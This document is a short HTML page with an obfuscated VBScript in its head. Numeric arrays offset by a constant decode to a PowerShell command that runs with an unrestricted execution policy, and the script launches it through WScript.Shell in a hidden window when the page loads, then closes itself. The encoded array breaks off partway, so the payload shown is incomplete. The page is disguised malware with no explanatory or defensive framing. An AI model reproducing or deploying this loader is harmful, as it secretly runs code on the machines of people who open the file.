<head>
<script language="vBsCRIPT">
Function DURqHjj(ByVal GHRmYavQNEL)
Dim Veyqbu
Dim iBSypGX
iBSypGX = 70632
Dim qZmNKUKXeTBL
qZmNKUKXeTBL = znRkMWSHxewaBf(GHRmYavQNEL)
If qZmNKUKXeTBL = 7000 + 1204 Then
For Each Veyqbu In GHRmYavQNEL
Dim GLzuXcJy
GLzuXcJy = GLzuXcJy & Chr(Veyqbu - iBSypGX)
Next
End If
DURqHjj = GLzuXcJy
End Function
Function mNmODwSSyWNMsX()
Dim GHRmYavQNEL
Dim kvjpjfHoqZ
GHRmYavQNEL = Array(70744,70743,70751,70733,70746,70747,70736,70733,70740,70740,70678,70733,70752,70733,70664,70677,70701,70752,70733,70731,70749,70748,70737,70743,70742,70712,70743,70740,70737,70731,70753,70664,70717,70742,70714,70733,70747,70748,70746,70737,70731,70748,70733,70732,70664,70734,70749,70742,70731,70748,70737,70743,70742,70664,70720,70710,70717,70702,70750,70747,70732,70752,70698,70753,70672,70668,70698,70736,70744,70704,70716,70700,70703,70676,70664,70668,70703,70698,70753,70702,70729,70739,70717,70673,70755,70723,70705,70711,70678,70702,70737,70740,70733,70725,70690,70690,70719,70746,70737,70748,70733,70697,70740,70740,70698,70753,70748,70733,70747,70672,70668,70698,70736,70744,70704,70716,70700,70703,70676,70664,70668,70703,70698,70753,70702,70729,70739,70717,70673,70757,70691,70734,70749,70742,70731,70748,70737,70743,70742,70664,70734,70737,70717,70752,70747,70735,70712,70698,70706,70721,70709,70742,70707,70701,70730,70753,70672,70668,70698,70736,70744,70704,70716,70700,70703,70673,70755,
kvjpjfHoqZ = DURqHjj(GHRmYavQNEL)
Dim dSYxoInDSCHsZl
Set dSYxoInDSCHsZl = MquXY(DURqHjj(Array(70719,70747,70731,70746,70737,70744,70748,70678,70715,70736,70733,70740,70740)))
dSYxoInDSCHsZl.Run(kvjpjfHoqZ),0,true
self.close()
End Function
Function znRkMWSHxewaBf(ByVal qZmNKUKXeTBL)
znRkMWSHxewaBf = VarType( qZmNKUKXeTBL)
End Function
Function MquXY(ByVal objectType)
Set MquXY = CreateObject(objectType)
End Function
mNmODwSSyWNMsX()
</script>
</head>
</html>